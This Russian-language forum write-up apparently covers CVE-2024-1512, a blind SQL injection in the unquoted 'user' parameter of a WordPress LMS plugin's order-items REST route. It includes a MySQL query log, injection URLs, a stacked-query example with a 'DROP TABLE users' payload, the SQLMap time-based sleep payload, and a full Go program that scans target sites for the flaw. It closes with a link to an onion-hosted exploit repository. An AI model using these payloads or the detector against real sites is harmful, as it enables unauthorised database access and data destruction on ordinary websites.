ORDER BY wp_posts.post_date DESC
96 Query SELECT post_id, meta_key, meta_value FROM wp_postmeta WHERE post_id IN (6,7,8,9,2) ORDER BY meta_id ASC
96 Query SELECT wp_posts.ID
FROM wp_posts INNER JOIN wp_postmeta ON ( wp_posts.ID = wp_postmeta.post_id )
WHERE 1=1 AND (
( wp_postmeta.meta_key = 'elementor_courses_page' AND wp_postmeta.meta_value = 'yes' )
) AND wp_posts.post_type = 'page' AND ((wp_posts.post_status = 'publish'))
GROUP BY wp_posts.ID
ORDER BY wp_posts.post_title ASC
LIMIT 0, 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_chat_1_chat' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_chat_1_chat' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = 'theme_switched' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_transient' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_transient' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_config_transient' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_config_transient' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_timeout_stm_lms_routes_pages_routes_transient' LIMIT 1
96 Query SELECT option_value FROM wp_options WHERE option_name = '_transient_stm_lms_routes_pages_routes_transient' LIMIT 1
96 Query SELECT COUNT(DISTINCT lms_order_items.id) as count FROM `wp_stm_lms_order_items`
as lms_order_items
left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
left join `wp_posts` as course on (course.ID = lms_order_items.`object_id`) left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')
WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND ( meta.meta_key = "_order_total" AND meta.meta_value = "333" ) AND
(
( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
( _order.post_status = "444" )
)
AND
(
(meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
(meta.meta_key = "_customer_user" AND meta.meta_value in (555))
)
AND course.ID = "666" AND course.`post_author` = "111" AND ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
ORDER BY lms_order_items.ID DESC
96 Query SELECT SUM( lms_order_items.`price` * lms_order_items.`quantity`) as total_price FROM `wp_stm_lms_order_items`
as lms_order_items
left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
left join `wp_posts` as course on (course.ID = lms_order_items.`object_id`) left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed')
WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND ( meta.meta_key = "_order_total" AND meta.meta_value = "333" ) AND
(
( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
( _order.post_status = "444" )
)
AND
(
(meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
(meta.meta_key = "_customer_user" AND meta.meta_value in (555))
)
AND course.ID = "666" AND course.`post_author` = "111" AND ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
ORDER BY lms_order_items.ID DESC
96 Query SELECT lms_order_items.*, course.post_title as name, _order.`post_date` as date_created FROM `wp_stm_lms_order_items`
as lms_order_items
left join `wp_posts` as _order on ( lms_order_items.`order_id` = _order.ID )
left join `wp_posts` as course on (course.ID = lms_order_items.`object_id`) left join wp_postmeta as meta_status on ( meta_status.post_id = _order.ID AND _order.`post_type` = 'stm-orders' AND meta_status.`meta_key` = 'status' AND meta_status.`meta_value` = 'completed') left join wp_posts as order_status on ( lms_order_items.`order_id` = order_status.ID AND order_status.`post_status` = 'wc-completed') left join wp_postmeta as meta on (meta.post_id = _order.ID)
WHERE _order.post_type IN ("stm-orders","shop_order") AND _order.ID = "222" AND ( meta.meta_key = "_order_total" AND meta.meta_value = "333" ) AND
(
( meta.meta_key = "status" AND meta.meta_value = "444" ) OR
( _order.post_status = "444" )
)
AND
(
(meta.meta_key = "user_id" AND meta.meta_value in (555)) OR
(meta.meta_key = "_customer_user" AND meta.meta_value in (555))
)
AND course.ID = "666" AND course.`post_author` = "111" AND ( meta_status.post_id = _order.ID OR order_status.ID = _order.ID )
GROUP BY lms_order_items.id
ORDER BY lms_order_items.ID DESC
LIMIT 10
96 Quit
(meta.meta_key = "user_id" AND meta.meta_value in (555)) OR(meta.meta_key = "_customer_user" AND meta.meta_value in (555))
- что относится к параметру пользователя. Параметры, отличные от "user", экранируют (escape) кавычки при передаче в базу данных, но это не будет иметь значения для параметра "user", так как он не находится в кавычках, и нам не нужно экранировать. Например, если я поставлю 222" как id, чтобы выйти из кавычек в sql запросе, то в базу запрос пойдёт такой _order.ID = "222\\\""
, а user и так не внутри кавычек, так что такой проблемы с этим параметром нет.Разработка Эксплоита (Детектор)
Часть запроса, которую мы можем изменить, это 555:Код: Скопировать в буфер обмена
Код:
(
(meta.meta_key = "user_id" AND meta.meta_value IN (555)) OR
(meta.meta_key = "_customer_user" AND meta.meta_value IN (555))
)
Стек запрос - это техника SQL-инъекции, при которой внедренный SQL-код включает несколько SQL-запросов, разделенных точками с запятой. Например, в приведенном ниже случае я внедрил полезную нагрузку ' OR 1=1; DROP TABLE users; --.
Код: Скопировать в буфер обмена
SELECT * FROM users WHERE username = 'xss' AND password = 'pass';
SELECT * FROM users WHERE username = '' OR 1=1; DROP TABLE users; --' AND password = 'pass';
Что если я использую стековый запрос в нашем случае?
Код: Скопировать в буфер обмена
(meta.meta_key = "user_id" AND meta.meta_value IN (;SELECT sleep(5);-- -))
Изображение [7]
http://localhost/?rest_route=/lms/stm-lms/order/items&author_id=111&user=;SELECT%20sleep(5);--%20-
Результат с SQL-сервера находится в первых двух полезных нагрузках, которые я выбрал, что показывает, что стековые запросы в данном случае не проходят, потому что все идет как один запрос. В то время в втором запросе (Я ВРУЧНУЮ скопировал QUERY 963 в MySQL), мы видим, что было сделано два запроса с SELECT sleep(5) - если бы это был наш случай, что не так, стековые запросы были бы возможны.
Что насчет SQLMap?
SQLMap нашел слепую SQL-инъекцию:
Полезная нагрузка: 555) AND (SELECT 1 FROM (SELECT SLEEP(5))AA
- SELECT sleep(5): Это подзапрос, который вызывает функцию sleep(5), заставляя базу данных приостановить работу на 5 секунд.
- AA: Это псевдоним для подзапроса. В SQL можно дать подзапросу псевдоним, добавив идентификатор после скобок подзапроса. Запрос не будет работать без него, потому что синтаксис SQL требует, чтобы подзапросы в предложении FROM имели псевдонимы, чтобы на них можно было ссылаться в других местах запроса.
- SELECT 1: Эта часть подзапроса используется для возврата постоянного значения 1. В нашем контексте конкретное возвращаемое значение не важно. Главное, чтобы подзапрос (включая часть sleep(5)) выполнялся. SELECT 1 - это просто простая операция, чтобы обеспечить подзапросу допустимую форму SQL (чтобы синтакс был правильным).
Код: Скопировать в буфер обмена
Код:
package main
import (
"crypto/tls"
"fmt"
"net/http"
"net/url"
"os"
"time"
)
func main() {
if len(os.Args) < 2 {
fmt.Println("Usage: go run main.go http://example.com")
os.Exit(1)
}
baseURL := os.Args[1]
query1 := "/?rest_route=/lms/stm-lms/order/items&author_id=111&user="
query2 := "1) AND (SELECT 1 FROM (SELECT sleep(5))AA"
encodedQuery := url.QueryEscape(query2)
fullURL := baseURL + query1 + encodedQuery
fmt.Println(fullURL)
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
client := &http.Client{
Timeout: 100 * time.Second,
}
startTime := time.Now()
resp, err := client.Get(fullURL)
if err != nil {
fmt.Printf("Error making request: %v\n", err)
os.Exit(1)
}
defer resp.Body.Close()
responseTime := time.Since(startTime)
if responseTime >= 5*time.Second {
fmt.Printf("Success: %s | Response Time:%s\n", baseURL, responseTime)
} else {
fmt.Printf("Fail: %s | Response Time:%s\n", baseURL, responseTime)
}
}
Эксплоит тут:
http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/git/cve/CVE/src/branch/main/CVE-2024-1512